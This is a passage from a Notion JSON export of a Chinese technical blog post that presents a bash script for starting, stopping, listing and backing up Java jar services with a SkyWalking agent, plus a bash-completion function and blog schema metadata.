~/.bash_profile"]],"language":[["Bash"]]},"created_time":1706080001835,"last_edited_time":1706080051777,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"12211a14-1feb-449b-beab-abea67e70635":{"value":{"id":"12211a14-1feb-449b-beab-abea67e70635","type":"sub_header","properties":{"title":[["配置自动补全"]]},"created_time":1706080026932,"last_edited_time":1706080082350,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"4fa90686-3a74-46ec-a088-962d442891e0":{"value":{"id":"4fa90686-3a74-46ec-a088-962d442891e0","type":"code","properties":{"title":[["#安装这个\nyum -y install bash-completion\n\n\n## 把下面所有加到.bash_profile并source\n\n\n# 定义补全函数\n_deploy_complete()\n{\n    local cur prev opts\n    COMPREPLY=()\n    cur=\"${COMP_WORDS[COMP_CWORD]}\"\n    prev=\"${COMP_WORDS[COMP_CWORD-1]}\"\n\n# 第一个参数的补全选项\n    opts=\"start stop restart list backup\"\n\n# 如果是第一个参数,那么补全选项为opts\nif [[ ${COMP_CWORD} -eq 1 ]] ; then\n        COMPREPLY=( $(compgen -W \"${opts}\" -- ${cur}) )\n        return 0\n    fi\n\n# 如果是第二个参数,那么补全选项为当前目录下的jar文件\nif [[ ${COMP_CWORD} -eq 2 ]] ; then\n        COMPREPLY=( $(compgen -W \"$(ls | grep jar)\" -- ${cur}) )\n        return 0\n    fi\n}\n\n# 将这个函数绑定到`deploy`命令上\ncomplete -F _deploy_complete deploy"]],"language":[["Bash"]]},"created_time":1706080085768,"last_edited_time":1706080157690,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"af722408-abb3-480e-9546-752a8866c509":{"value":{"id":"af722408-abb3-480e-9546-752a8866c509","type":"header","properties":{"title":[["效果"]]},"created_time":1706080016178,"last_edited_time":1706080352027,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"0cdbdf1b-35ba-4404-9235-3d8625c1eac0":{"value":{"id":"0cdbdf1b-35ba-4404-9235-3d8625c1eac0","type":"sub_header","properties":{"title":[["备份"]]},"created_time":1706080341893,"last_edited_time":1706080346302,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"23f697fb-ec30-4920-becf-b2569bb235d0":{"value":{"id":"23f697fb-ec30-4920-becf-b2569bb235d0","type":"image","properties":{"size":[["39.6KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9007636a-7168-467c-bccd-fcf31712bf3d/Untitled.png"]]},"format":{"block_width":862,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9007636a-7168-467c-bccd-fcf31712bf3d/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45707656612529,"block_preserve_scale":true},"created_time":1706080421079,"last_edited_time":1706080424570,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"file_ids":["9007636a-7168-467c-bccd-fcf31712bf3d"]}},"8566becf-9f13-4e17-800f-8c73a9d69d10":{"value":{"id":"8566becf-9f13-4e17-800f-8c73a9d69d10","type":"sub_header","properties":{"title":[["重启"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080354831,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"6fc3b1c1-279c-4da3-9b48-a286c69a4620":{"value":{"id":"6fc3b1c1-279c-4da3-9b48-a286c69a4620","type":"image","properties":{"size":[["72.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f7983c27-0d6c-4279-9ec4-753138725f56/Untitled.png"]]},"format":{"block_width":1166,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f7983c27-0d6c-4279-9ec4-753138725f56/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4090909090909091,"block_preserve_scale":true},"created_time":1706080404843,"last_edited_time":1706080407833,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"file_ids":["f7983c27-0d6c-4279-9ec4-753138725f56"]}},"ebb9c14c-4573-4673-9f41-923621db6503":{"value":{"id":"ebb9c14c-4573-4673-9f41-923621db6503","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080333611,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"5f09bd20-4152-4fbf-9234-6358f7ca9002":{"value":{"id":"5f09bd20-4152-4fbf-9234-6358f7ca9002","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080333611,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"1af18956-4491-4646-8812-8c26899d094c":{"value":{"id":"1af18956-4491-4646-8812-8c26899d094c","type":"header","properties":{"title":[["最终部署脚本"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706080332892,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"39cf1bf0-7c68-42aa-8ada-11e74af9da6e":{"value":{"id":"39cf1bf0-7c68-42aa-8ada-11e74af9da6e","type":"code","properties":{"title":[["#!/bin/bash\n\n#-----------------------------环境变量START----------------------------\nexport SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800\nexport SW_AGENT_SPAN_LIMIT=2000\nexport JAVA_AGENT=-javaagent:/usr/skywalking-agent/skywalking-agent.jar\nexport ENV=test\n#-----------------------------环境变量END----------------------------\n\n\n#-----------------------------全局变量START----------------------------\nAPP_START_TIMEOUT=180 #等待应用启动的时间\nPIDS=()               #定义全局的PIDS数组\nWORK_DIR=(            #当前程序的工作目录\n          /Users/y/IdeaProjects/A-script/sh\n          /home/\n          /root/prod\n          )\nCHECK_LOGS=(          #日志检查关键字\n  \"开始订阅滚动日志\"\n  \"服务启动成功\"\n  \"Tomcat started on port(s): 8848\"\n)\nSCRIPT_NAME=$0       # 脚本名称\nACTION=$1            # 脚本接受的第一个参数\nshift                # 将参数列表向左移动一个位置,去除第一个参数\njar=\"$@\"             # 使用命令行参数作为jar文件名\n#-----------------------------全局变量END----------------------------\n\n\n\n#-----------------------------函数声明START----------------------------\n#用法说明\n\n#使用说明\nusage() {\n  echo \"脚本的用法如下:$SCRIPT_NAME {start|stop|restart|list|backup} {service_name.jar}\"\n  end\n  exit 2\n}\n# 检查输入参数\ncheck_input() {\n    jar=$1\n\n    # list 操作接受 *.jar 作为参数\n    if [[ $ACTION == \"list\" \u0026\u0026 $jar == *.jar ]]; then\n        return 0\n    fi\n\n    # start, stop 和 restart 操作必须接受一个存在于当前目录的 .jar 文件作为参数\n    if [[ $ACTION != \"list\" \u0026\u0026 ($jar != *.jar || ! -f $jar) ]]; then\n        echo \"start,stop,restart,backup 操作必须接受一个存在于当前目录的 .jar 文件作为参数\"\n        end\n        exit 0\n    fi\n}\n#欢迎脚本答应\nwelcome(){\n  echo '''\n---------------------------脚本正在启动-------------------------------\n\n        ████████   ██████   ███   ███  ███   ██  █\n\n  '''\n  echo \"                   当前脚本环境:$ENV\n\n  \"\n}\n#结束脚本打印\nend(){\n  echo '''\n----------------------------脚本已经完成-------------------------------\n  '''\n}\n# 设置 JVM_OPTS\nset_jvm_opts() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    #生产环境\n    if [[ $ENV == \"prod\" ]]; then\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms4096m -Xmx6144m\"\n      else\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      fi\n    #非生产环境\n    else\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      else\n          export JVM_OPTS=\"-Xms512m -Xmx1024m\"\n      fi\n    fi\n\n}\n#检查当前脚本运行目录\ncheck_directory() {\n  # 获取脚本的运行目录\n  script_dir=$(pwd \"$0\")\n  echo \"此脚本工作目录:$script_dir\"\n\n  # 标识,初始为 false\n  valid_dir=false\n\n  # 检查脚本的运行目录是否在 WORK_DIR 数组的目录之一\n  for dir in \"${WORK_DIR[@]}\"; do\n    if [[ $script_dir == $dir* ]]; then\n      valid_dir=true\n      break\n    fi\n  done\n\n  # 如果标识仍为 false,打印一条消息并退出脚本\n  if ! $valid_dir; then\n    echo \"不满足以下目录:${WORK_DIR[*]}. \"\n    end\n    exit 0\n  fi\n}\n#根据jar包获取正在运行的pid列表\n#可能是多个有xxx.jar的pid,因为存在启动不成功的情况\n#此pid列表是所有正在运行的jar包的pid列表,去除grep --color=auto pet-mall\nlist_service() {\n  echo \"获取程序运行中:$jar\"\n  # 使用ps和grep获取包含jar包名的进程\n  local lines=$(ps aux | grep $1 | grep java | grep -v grep | awk '{printf $2 \" \"; for (i=11; i\u003c=NF; i++) printf $i \" \"; print \"\"}')\n\n  # 逐行读取lines变量的值\n  while IFS= read -r line; do\n    # 使用空格将行切割为数组\n    array=($line)\n\n    # 第一个元素是PID\n    pid=${array[0]}\n\n    # 剩下的元素是命令行参数\n    cmdline=${line#\"$pid \"}  # 使用参数扩展移除PID\n    cmdline_cut=$(echo $cmdline | cut -c 1-150)  # 保留前50个字符\n\n   # 只在找到进程时打印信息\n    if [ ! -z \"$pid\" ]; then\n      printf \"找到%5s 程序: %-50s...\\n\" \"$pid\" \"$cmdline_cut\"  # 格式化输出\n      PIDS+=(\"$pid\")\n    fi\n  done \u003c\u003c\u003c \"$lines\"\n\n  # 如果没有找到任何服务,打印提示信息\n  if [ -z \"$lines\" ]; then\n    echo \"没有进程包含有:$1\"\n  fi\n}\n#停止服务\nstop_service() {\n  local pid=$1\n  echo \"开始停止程序中: $pid\"\n  kill -15 \"$pid\"\n\n  # 等待程序结束\n  for i in $(seq 60); do\n    # 检查进程是否还在运行\n    if ! ps -p \"$pid\" \u003e /dev/null; then\n      echo \"停止程序已完成:$pid\"\n      return 0\n    fi\n    # 等待一秒\n    sleep 1\n  done\n\n  # 如果程序还在运行,发送 SIGKILL\n  echo \"程序仍在运行,发送 SIGKILL\"\n  kill -9 \"$pid\"\n}\n#启动服务\nstart_service(){\n  set_jvm_opts $jar\n  filename=$(basename -- \"$jar\")\n  export SW_AGENT_NAME=\"${filename%.*}\"\n#  output=\"./${SW_AGENT_NAME}.log\"\n#  touch $output\n#  在脚本退出时删除日志文件\n#  trap 'rm -f ./${SW_AGENT_NAME}.log' EXIT\n  output=\"/dev/null\"\n  nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar \u003e\u003e $output 2\u003e\u00261 \u0026\n  echo \"最终部署语句为:nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar \u003e\u003e $output 2\u003e\u00261 \u0026\"\n  # 检查是否有 -q 参数\n  if [ \"$2\" == \"-q\" ]\n  then\n      echo \"部署语句已执行:$jar\"\n  else\n      tail -f $output\n  fi\n}\n#健康检查\nhealth_check() {\n  exptime=0\n\n  while true; do\n    for log in \"${CHECK_LOGS[@]}\"; do\n      if grep -q \"$log\" \"./logs/${SW_AGENT_NAME}/debug.log\"; then\n        echo -e \"\\n服务已成功启动: $jar\"\n        return 0\n      fi\n    done\n    if [ \"$exptime\" -gt ${APP_START_TIMEOUT} ]; then\n      echo -e \"\\n服务启动检查超时,请手动检查\"\n      break\n    else\n      echo -ne \"\\r服务还在启动中:已经等待${exptime}秒,当前超时时间为${APP_START_TIMEOUT}\"\n    fi\n\n    sleep 1\n    ((exptime++))\n  done\n}\n#备份\nbackup() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    backup_dir=\"./backup/${filename%.*}\"\n    # 确保备份目录存在\n    mkdir -p $backup_dir\n\n    # 备份 .jar 文件,并添加时间戳\n    timestamp=$(date \"+%Y%m%d%H%M%S\")\n    path=$backup_dir/$(basename $jar).$timestamp\n    mv $jar $path\n\n    # 检查备份目录中的文件数量\n    file_count=$(ls -t $backup_dir | wc -l)\n    echo \"当前备份目录为:$backup_dir\"\n    echo \"当前备份数目为:$file_count\"\n    echo \"当前备份文件为:$path\"\n    if [ $file_count -gt 5 ]; then\n        cd $backup_dir\n        # 删除最旧的文件\n        rm -f \"$(ls -t | tail -1)\"\n        cd -\n    fi\n}\n#启动脚本\nstart() {\n  start_service $jar -q\n  health_check $jar\n  list_service $jar\n}\n#停止脚本\nstop() {\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      stop_service $pid\n    fi\n  done\n}\n#-----------------------------函数声明END----------------------------\n\n\n\n#-----------------------------程序入口----------------------------\nwelcome\ncheck_directory\ncase \"$ACTION\" in\nstart)\n  check_input $jar\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      echo \"存在应用在运行:请使用restart命令\"\n      end\n      exit 0\n    fi\n  done\n  start\n  ;;\nstop)\n  check_input $jar\n  stop\n  ;;\nrestart)\n  check_input $jar\n  stop\n  start\n  ;;\nlist)\n  check_input $jar\n  list_service $jar\n  ;;\nbackup)\n  check_input $jar\n  backup $jar\n  ;;\n*)\n  usage\n  ;;\nesac\n\nend"]],"language":[["Bash"]]},"created_time":1706079853791,"last_edited_time":1706079931676,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"3b508db8-425b-4c77-83d0-9eba50c4ef24":{"value":{"id":"3b508db8-425b-4c77-83d0-9eba50c4ef24","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706076386586,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"dffd5b0d-8df5-4399-96a3-63793dbd16d0":{"value":{"id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","type":"column_list","content":["01d74399-1984-4db8-b232-71694c4f7aef","5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","056999ba-b162-4bdd-b94f-66abf2db1bdf"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706076386587,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"01d74399-1984-4db8-b232-71694c4f7aef":{"value":{"id":"01d74399-1984-4db8-b232-71694c4f7aef","type":"column","content":["339737bc-36d6-4e00-ae14-9b1855021a83"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7":{"value":{"id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","type":"column","content":["4a3120f5-b7d0-4446-9360-a24bc5d2a6ed","a3e87d87-21dd-406d-8b6f-18e04e3330d5"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"056999ba-b162-4bdd-b94f-66abf2db1bdf":{"value":{"id":"056999ba-b162-4bdd-b94f-66abf2db1bdf","type":"column","content":["85f4203b-c3c4-4987-a73d-4830494b33be"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"dffd5b0d-8df5-4399-96a3-63793dbd16d0","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"339737bc-36d6-4e00-ae14-9b1855021a83":{"value":{"id":"339737bc-36d6-4e00-ae14-9b1855021a83","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"01d74399-1984-4db8-b232-71694c4f7aef","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"4a3120f5-b7d0-4446-9360-a24bc5d2a6ed":{"value":{"id":"4a3120f5-b7d0-4446-9360-a24bc5d2a6ed","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386588,"last_edited_time":1706076386588,"parent_id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"85f4203b-c3c4-4987-a73d-4830494b33be":{"value":{"id":"85f4203b-c3c4-4987-a73d-4830494b33be","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"056999ba-b162-4bdd-b94f-66abf2db1bdf","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"a3e87d87-21dd-406d-8b6f-18e04e3330d5":{"value":{"id":"a3e87d87-21dd-406d-8b6f-18e04e3330d5","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386589,"last_edited_time":1706076386589,"parent_id":"5e5d5341-4a47-448b-bb23-a0f7ba9ad5f7","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16":{"value":{"id":"70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706076386587,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-